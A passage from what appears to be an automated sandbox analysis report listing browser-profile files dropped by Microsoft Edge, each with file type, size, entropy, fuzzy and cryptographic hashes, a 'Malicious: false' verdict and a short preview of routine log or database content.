Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............8M.:b................next-map-id.1.Cnamespace-2aacfee5_aaf1_4186_8868_bd01b77aea6c-https://ntp.msn.com/.0...i.................map-0-shd_sweeper.;{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.e.h.p.s.b.h.v.c.,.a.d.s.-.w.w.-.c.t.r.l.,.p.r.g.-.1.s.-.d.w.v.i.d.-.t.1.,.1.s.-.p.1.-.d.w.l.s.,.1.s.-.p.2.-.d.w.l.s.,.p.r.g.-.1.s.w.-.n.o.c.o.o.l.d.o.w.n.,.p.r.g.-.p.r.1.-.v.i.d.e.o.s.,.p.r.g.-.p.r.2.-.v.i.d.e.o.s.,.p.r.g.-.v.i.d.-.d.w.l.s.c.a.c.h.e.,.p.r.g.-.1.s.w.-.s.a.b.e.u.r.l.f.b.v.6.c.1.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.l.o.2.,.p.r.g.-.1.s.w.-.t.r.d.i.s.c.l.o.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.w.r.f.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.122076065099996
Encrypted:	false
SSDEEP:	6:HH9Jq2PN723oH+TcwtrQMxIFUt8YH25YXZmw+YH2fVFkwON723oH+TcwtrQMFLJ:9JvVaYebCFUt8VU/+X5OaYebtJ
MD5:	636D4D80C7992B7AA55938A2094883B2
SHA1:	34870F8062A15AE208DA63E076734A64895761CB
SHA-256:	EB7337B6AC9375C62E645315B1158F644F8802F3AA8E0F761DB06B0F6A14E693
SHA-512:	68F263DBA815E0FE23DDAC8F7880006B1C9FEF0FFEF6226BDC465402974CC4D46D8217C4536C5CEFEFAB7C801381CE551D83185E2A9B3631456D829761C7E8B4
Malicious:	false
Preview:	2024/11/28-09:17:31.299 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-09:17:31.306 1d20 Recovering log #3.2024/11/28-09:17:31.314 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.122076065099996
Encrypted:	false
SSDEEP:	6:HH9Jq2PN723oH+TcwtrQMxIFUt8YH25YXZmw+YH2fVFkwON723oH+TcwtrQMFLJ:9JvVaYebCFUt8VU/+X5OaYebtJ
MD5:	636D4D80C7992B7AA55938A2094883B2
SHA1:	34870F8062A15AE208DA63E076734A64895761CB
SHA-256:	EB7337B6AC9375C62E645315B1158F644F8802F3AA8E0F761DB06B0F6A14E693
SHA-512:	68F263DBA815E0FE23DDAC8F7880006B1C9FEF0FFEF6226BDC465402974CC4D46D8217C4536C5CEFEFAB7C801381CE551D83185E2A9B3631456D829761C7E8B4
Malicious:	false
Preview:	2024/11/28-09:17:31.299 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-09:17:31.306 1d20 Recovering log #3.2024/11/28-09:17:31.314 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377277052926350

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.834305940877418
Encrypted:	false
SSDEEP:	24:3alqPkpsAF4unxtjlCtLp3X2amEtG1ChqnwwY8oeBNQKkOAM4:3iqPkzF30Lp2FEkChbGIHOp
MD5:	A4B48949CB8715D2BC95A6FA42B4CD45
SHA1:	D44EBAD43328A98FC51D789ECD99657E29B6F085
SHA-256:	9FCDA52FEFD1FDA7C98F25D85AB120B4A01B3D89E7284A5B113CA57134BA0CDB
SHA-512:	FB273DC1813542B2329B3DBC664994A759EEDAB27471E8694B5622C4CDD6916BFBFF189A88B568AC9A12E929F93BCE3090F37E2581B1645925E404553B5CE24B
Malicious:	false
Preview:	SNSS................................"........................................................!.............................................1..,.......$...2aacfee5_aaf1_4186_8868_bd01b77aea6c........................b..................................................................5..0.......&...{46F3A197-DB49-410A-81B3-94975C835573}.........................................................................edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......=<V..'..><V..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.151061266027393
Encrypted:	false
SSDEEP:	6:HHYK4q2PN723oH+Tcwt7Uh2ghZIFUt8YHGVNJZmw+YHGVNDkwON723oH+Tcwt7UT:YK4vVaYebIhHh2FUt83VNJ/+3VND5Oa0
MD5:	9FE94A81FD89E3819591418AD635F021
SHA1:	4DBA076CDC796EF5E467511F3C20DF31DB46F58E
SHA-256:	98CE257C583F8D112AB9683126E7DE3B649D8CC9395E93884FE1F8E73A896BAA
SHA-512:	CE7A7E4F175490BD0F97B01ADC6C77BE80D6CF9B3D589FEE580E609A1065194CCA968D187636BDCEB13C919C1C0097CD82CCA77DD42A29ACD836AC06B61BC011
Malicious:	false
Preview:	2024/11/28-09:17:30.471 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-09:17:30.472 1f60 Recovering log #3.2024/11/28-09:17:30.472 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.151061266027393
Encrypted:	false
SSDEEP:	6:HHYK4q2PN723oH+Tcwt7Uh2ghZIFUt8YHGVNJZmw+YHGVNDkwON723oH+Tcwt7UT:YK4vVaYebIhHh2FUt83VNJ/+3VND5Oa0
MD5:	9FE94A81FD89E3819591418AD635F021
SHA1:	4DBA076CDC796EF5E467511F3C20DF31DB46F58E
SHA-256:	98CE257C583F8D112AB9683126E7DE3B649D8CC9395E93884FE1F8E73A896BAA
SHA-512:	CE7A7E4F175490BD0F97B01ADC6C77BE80D6CF9B3D589FEE580E609A1065194CCA968D187636BDCEB13C919C1C0097CD82CCA77DD42A29ACD836AC06B61BC011
Malicious:	false
Preview:	2024/11/28-09:17:30.471 1f60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-09:17:30.472 1f60 Recovering log #3.2024/11/28-09:17:30.472 1f60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.23541062350163
Encrypted:	false
SSDEEP:	12:Z++vVaYebvqBQFUt8V5GAW/+BV5OaYebvqBvJ:5VaYebvZg8VYsOaYebvk
MD5:	05817834DC8B73DDDEA3441489AB57BE
SHA1:	D5C9CF77ED1712A97DC968B9E66CFADB6BDAD46A
SHA-256:	30CEE10F275E318177670FE75FDADFBCB7196CD3BE78858EC5DC7326A336F6EA
SHA-512:	A20D7E3E19F21969DA11EC2D6291F932418B1BCEAFC0C6142FF7FA14685171F83EB29485425163D136582E66978539F111D1BF3EF692D2B3C71CF14CFBBD4DC2
Malicious:	false
Preview:	2024/11/28-09:17:31.305 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-09:17:31.306 1d3c Recovering log #3.2024/11/28-09:17:31.329 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.23541062350163
Encrypted:	false
SSDEEP:	12:Z++vVaYebvqBQFUt8V5GAW/+BV5OaYebvqBvJ:5VaYebvZg8VYsOaYebvk
MD5:	05817834DC8B73DDDEA3441489AB57BE
SHA1:	D5C9CF77ED1712A97DC968B9E66CFADB6BDAD46A
SHA-256:	30CEE10F275E318177670FE75FDADFBCB7196CD3BE78858EC5DC7326A336F6EA
SHA-512:	A20D7E3E19F21969DA11EC2D6291F932418B1BCEAFC0C6142FF7FA14685171F83EB29485425163D136582E66978539F111D1BF3EF692D2B3C71CF14CFBBD4DC2
Malicious:	false
Preview:	2024/11/28-09:17:31.305 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-09:17:31.306 1d3c Recovering log #3.2024/11/28-09:17:31.329 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7becf2d4-418d-415f-9a98-a1d66923ccb9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7cc3a624-3a4e-45b7-a153-4fe75a04162c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\91e07341-087e-4124-9f3b-5a8dc4e7a3ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d69a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\efc06cf6-a030-4693-8e66-9af39fea350a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.234019408858905
Encrypted:	false
SSDEEP:	6:HH4q2PN723oH+TcwtzjqEKj0QMxIFUt8YHQjZmw+YHMkwON723oH+TcwtzjqEKjq:4vVaYebvqBZFUt8dj/+V5OaYebvqBaJ
MD5:	7BE740EF57F09598F8B6688D554A3E57
SHA1:	E16B7878440E42CC216F07404F281F0E37475C04
SHA-256:	075C94D93293C8632F76CF9299EF0C1BC2EFD52FC136E0D708B7207EEC1B4AB2
SHA-512:	F9B743D808314C21ED4686BC4A57C1019EF08A4C1465DE06E6E403ED787A0A602DFCFE9A19839FB5686D01B5648E38A1A0B6A6E1CCF8BAB1946C92F3DBFB4D29
Malicious:	false
Preview:	2024/11/28-09:17:49.282 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-09:17:49.283 1d20 Recovering log #3.2024/11/28-09:17:49.285 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.234019408858905
Encrypted:	false
SSDEEP:	6:HH4q2PN723oH+TcwtzjqEKj0QMxIFUt8YHQjZmw+YHMkwON723oH+TcwtzjqEKjq:4vVaYebvqBZFUt8dj/+V5OaYebvqBaJ
MD5:	7BE740EF57F09598F8B6688D554A3E57
SHA1:	E16B7878440E42CC216F07404F281F0E37475C04
SHA-256:	075C94D93293C8632F76CF9299EF0C1BC2EFD52FC136E0D708B7207EEC1B4AB2
SHA-512:	F9B743D808314C21ED4686BC4A57C1019EF08A4C1465DE06E6E403ED787A0A602DFCFE9A19839FB5686D01B5648E38A1A0B6A6E1CCF8BAB1946C92F3DBFB4D29
Malicious:	false
Preview:	2024/11/28-09:17:49.282 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/28-09:17:49.283 1d20 Recovering log #3.2024/11/28-09:17:49.285 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.240822885668047
Encrypted:	false
SSDEEP:	6:HHf9+q2PN723oH+TcwtpIFUt8YHPANJZmw+YHvh9VkwON723oH+Tcwta/WLJ:f4vVaYebmFUt8fNJ/+GD5OaYebaUJ
MD5:	331ED7132F454255995DAA3217C3E465
SHA1:	0ED2D8191801452D8494FE6665A6D076D4940140
SHA-256:	BDC8A2459E7BA02CC28C23FF591454E8C10F13597636A4E3E8E3CB91C0FE2993
SHA-512:	7A37E67E5BD834741E6516B727CDE0380C9639A62F8D745D21CB3E6D21BF4E7202552E4023E882F8AEC2D2022DAC9C5BDB870EDFD18C2ECC52EBEDA7830A263E
Malicious:	false
Preview:	2024/11/28-09:17:30.383 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-09:17:30.384 1db8 Recovering log #3.2024/11/28-09:17:30.385 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.240822885668047
Encrypted:	false
SSDEEP:	6:HHf9+q2PN723oH+TcwtpIFUt8YHPANJZmw+YHvh9VkwON723oH+Tcwta/WLJ:f4vVaYebmFUt8fNJ/+GD5OaYebaUJ
MD5:	331ED7132F454255995DAA3217C3E465
SHA1:	0ED2D8191801452D8494FE6665A6D076D4940140
SHA-256:	BDC8A2459E7BA02CC28C23FF591454E8C10F13597636A4E3E8E3CB91C0FE2993
SHA-512:	7A37E67E5BD834741E6516B727CDE0380C9639A62F8D745D21CB3E6D21BF4E7202552E4023E882F8AEC2D2022DAC9C5BDB870EDFD18C2ECC52EBEDA7830A263E
Malicious:	false
Preview:	2024/11/28-09:17:30.383 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/28-09:17:30.384 1db8 Recovering log #3.2024/11/28-09:17:30.385 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679098069742476
